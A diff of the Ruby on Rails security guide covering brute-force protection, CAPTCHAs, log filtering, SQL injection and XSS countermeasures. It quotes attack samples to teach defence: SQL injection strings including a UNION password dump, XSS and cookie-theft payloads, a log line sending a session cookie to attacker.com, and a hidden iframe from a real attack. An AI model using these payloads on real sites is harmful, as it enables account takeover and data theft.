-Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-
-For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-
-### Additional Precautions
-
-The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-
-* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
-
-* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-
-* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file from being executed. The `attachment_fu` plugin does this in a similar way.
 
 User Management
 ---------------
 
-NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+### Brute-Forcing Accounts
 
-There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with rate-limiting, more generic error messages and possibly require to enter a CAPTCHA._
 
-Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+A list of usernames for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of usernames and a dictionary, an automatic program may find the correct password in a matter of minutes.
 
-```
-http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=
-```
+Because of this, most web applications will display a generic error message "username or password not correct", if one of these are not correct. If it said "the username you entered has not been found", an attacker could automatically compile a list of usernames.
 
-This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered username or e-mail address has (not) been found. This allows an attacker to compile a list of usernames and brute-force the accounts.
 
-```ruby
-User.find_by_activation_code(params[:id])
-```
+In order to mitigate such attacks, you can use rate limiting. Rails comes with a
+built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your sessions controller with a single line:
 
-If the parameter was nil, the resulting SQL query will be
-
-```sql
-SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+```
+class SessionsController < ApplicationController
+  rate_limit to: 10, within: 3.minutes, only: :create
+end
 ```
 
-And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-
-### Brute-Forcing Accounts
-
-NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
-
-A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+Refer to the [API documentation](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit) for details about the various parameters.
 
-Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
+Additionally, you can _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_.
 
-However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+NOTE: All of these mitigation techniques are not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
 
-In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
 
 ### Account Hijacking
 
-Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?
 
 #### Passwords
 
@@ -453,30 +693,30 @@ However, the attacker may also take over the account by changing the e-mail addr
 
 #### Other
 
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](https://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a website controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
 
 ### CAPTCHAs
 
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but to reveal that a robot is a robot._
 
-A popular positive CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
+A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
 
 You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
 The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.
 
-Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+Most bots are really naive. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
 
-Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g.,  if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.
+Note that negative CAPTCHAs are only effective against naive bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.
 
-Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+Here are some ideas on how to hide honeypot fields by JavaScript and/or CSS:
 
-* position the fields off of the visible area of the page
+* position the fields off the visible area of the page
 * make the elements very small or color them the same as the background of the page
 * leave the fields displayed, but tell humans to leave them blank
 
-The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+The simplest negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not save the post to the database. This way, the bot will be satisfied and move on.
 
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](https://nedbatchelder.com/text/stopbots.html):
 
 * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
 * Randomize the field names
@@ -488,25 +728,19 @@ Note that this protects you only from automatic bots, targeted tailor-made bots
 
 WARNING: _Tell Rails not to put passwords in the log files._
 
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker gets (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to [`config.filter_parameters`][] in the application configuration. These parameters will be marked [FILTERED] in the log.
 
 ```ruby
 config.filter_parameters << :password
 ```
 
-NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`.
-
-### Good Passwords
-
-INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-
-Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+NOTE: Provided parameters will be filtered out by partial matching regular
+expression. Rails adds a list of default filters, including `:passw`,
+`:secret`, and `:token`, in the appropriate initializer
+(`initializers/filter_parameter_logging.rb`) to handle typical application
+parameters like `password`, `password_confirmation` and `my_token`.
 
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
-
-It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+[`config.filter_parameters`]: configuring.html#config-filter-parameters
 
 ### Regular Expressions
 
@@ -515,10 +749,10 @@ INFO: _A common pitfall in Ruby's regular expressions is to match the string's b
 Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
 
 ```ruby
-  /^https?:\/\/[^\n]+$/i
+/^https?:\/\/[^\n]+$/i
 ```
 
-This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
+This may work fine in some languages. However, _in Ruby `^` and `$` match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
 
 ```
 javascript:exploit_code();/*
@@ -529,22 +763,22 @@ http://hi.com
 This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
 
 ```ruby
-  link_to "Homepage", @user.homepage
+link_to "Homepage", @user.homepage
 ```
 
 The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
 
-To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+To fix the regular expression, `\A` and `\z` should be used instead of `^` and `$`, like so:
 
 ```ruby
-  /\Ahttps?:\/\/[^\n]+\z/i
+/\Ahttps?:\/\/[^\n]+\z/i
 ```
 
 Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
 
 ```ruby
-  # content should include a line "Meanwhile" anywhere in the string
-  validates :content, format: { with: /^Meanwhile$/, multiline: true }
+# content should include a line "Meanwhile" anywhere in the string
+validates :content, format: { with: /^Meanwhile$/, multiline: true }
 ```
 
 Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
@@ -567,28 +801,28 @@ This is alright for some web applications, but certainly not if the user is not
 
 Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
 
-Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. DevTools log every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
 
 Injection
 ---------
 
 INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
 
-Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
 
-### Whitelists versus Blacklists
+### Permitted Lists Versus Restricted Lists
 
-NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
+NOTE: _When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists._
 
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), _prefer to use permitted list approaches_:
 
-* Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.
-* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-* Don't try to correct user input by blacklists:
-    * This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+* Use `before_action except: [...]` instead of `only: [...]` for security-related actions. This way you don't forget to enable security checks for newly added actions.
+* Allow `<strong>` instead of removing `<script>` against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input using restricted lists:
+    * This will make the attack work: `"<sc<script>ript>".gsub("<script>", "")`
     * But reject malformed input
 
-Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+Permitted lists are also a good approach against the human factor of forgetting something in the restricted list.
 
 ### SQL Injection
 
@@ -596,16 +830,16 @@ INFO: _Thanks to clever methods, this is hardly a problem in most Rails applicat
 
 #### Introduction
 
-SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or read arbitrary data. Here is an example of how not to use user input data in a query:
 
 ```ruby
 Project.where("name = '#{params[:name]}'")
 ```
 
-This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters `' OR 1) --`, the resulting SQL query will be:
 
 ```sql
-SELECT * FROM projects WHERE name = '' OR 1 --'
+SELECT * FROM projects WHERE (name = '' OR 1) --')
 ```
 
 The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
@@ -615,16 +849,16 @@ The two dashes start a comment ignoring everything after it. So the query return
 Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
 
 ```ruby
-User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
 ```
 
-If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+If an attacker enters `' OR '1'='1` as the name, and `' OR '2'>'1` as the password, the resulting SQL query will be:
 
 ```sql
 SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
 ```
 
-This will simply find the first record in the database, and grants access to this user.
+This will simply find the first record in the database and grant access to this user.
 
 #### Unauthorized Reading
 
@@ -647,27 +881,42 @@ SELECT * FROM projects WHERE (name = '') UNION
   SELECT id,login AS name,password AS description,1,1,1 FROM users --'
 ```
 
-The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+The result won't be a list of projects (because there is no project with an empty name), but a list of usernames and their password. So hopefully you [securely hashed the passwords](#user-management) in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
 
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
+Also, the second query renames some columns with the AS statement so that the
+Web application displays the values from the user table.
 
 #### Countermeasures
 
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
+Ruby on Rails has a built-in filter for special SQL characters, which will escape `'` , `"` , NULL character, and line breaks. *Using `Model.find(id)` or `Model.find_by_something(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
 
-Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+Instead of passing a string, you can use positional handlers to sanitize tainted strings like this:
 
 ```ruby
-Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
 ```
 
-As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+The first parameter is an SQL fragment with question marks. The second and third
+parameter will replace the question marks with the value of the variables.
+
+You can also use named handlers, the values will be taken from the hash used:
 
 ```ruby
-Model.where(login: entered_user_name, password: entered_password).first
+values = { zip: entered_zip_code, qty: entered_quantity }
+Model.where("zip_code = :zip AND quantity >= :qty", values).first
 ```
 
-The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
+Additionally, you can split and chain conditionals valid for your use case:
+
+```ruby
+Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
+```
+
+Note that the previously mentioned countermeasures are only available in model instances. You can
+try [`sanitize_sql`][] elsewhere. _Make it a habit to think about the security consequences
+when using an external string in SQL_.
+
+[`sanitize_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql
 
 ### Cross-Site Scripting (XSS)
 
@@ -677,11 +926,11 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
 
 An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
 
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on websites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.
 
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the website to get confidential information or install malicious software through security holes in the web browser.
 
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](https://www.pandasecurity.com/en/mediacenter/malware/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high-profile targets.
 
 #### HTML/JavaScript Injection
 
@@ -696,15 +945,15 @@ Here is the most straightforward test to check for XSS:
 This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
 
 ```html
-<img src=javascript:alert('Hello')>
+<img src="javascript:alert('Hello')">
 <table background="javascript:alert('Hello')">
 ```
 
 ##### Cookie Theft
 
-These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the `document.cookie` property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The `document.cookie` property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 
-```
+```html
 <script>document.write(document.cookie);</script>
 ```
 
@@ -720,21 +969,21 @@ The log files on www.attacker.com will read like this:
 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
 ```
 
-You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though.
+You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that `document.cookie` may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://owasp.org/www-community/HttpOnly#browsers-supporting-httponly), though.
 
 ##### Defacement
 
-With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+With web page defacement, an attacker can do a lot of things, for example, present false information or lure the victim to the attacker's website to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:
 
 ```html
 <iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
 ```
 
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This `iframe` is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](https://isc.sans.edu/diary/MPack+Analysis/3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
 
-A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+A more specialized attack could overlap the entire website or display a login form, which looks the same as the site's original, but transmits the username and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one in its place, which redirects to a fake website.
 
-Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but is included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
 
 ```
 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
@@ -745,15 +994,15 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode
 
 _It is very important to filter malicious input, but it is also important to escape the output of the web application_.
 
-Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+Especially for XSS, it is important to do _permitted input filtering instead of restricted_. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete.
 
-Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a restricted list deletes `"script"` from the user input. Now the attacker injects `"<scrscriptipt>"`, and after the filter, `"<script>"` remains. Earlier versions of Rails used a restricted list approach for the `strip_tags()`, `strip_links()`, and `sanitize()` methods. So this kind of injection was possible:
 
 ```ruby
 strip_tags("some<<b>script>alert('hello')<</b>/script>")
 ```
 
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
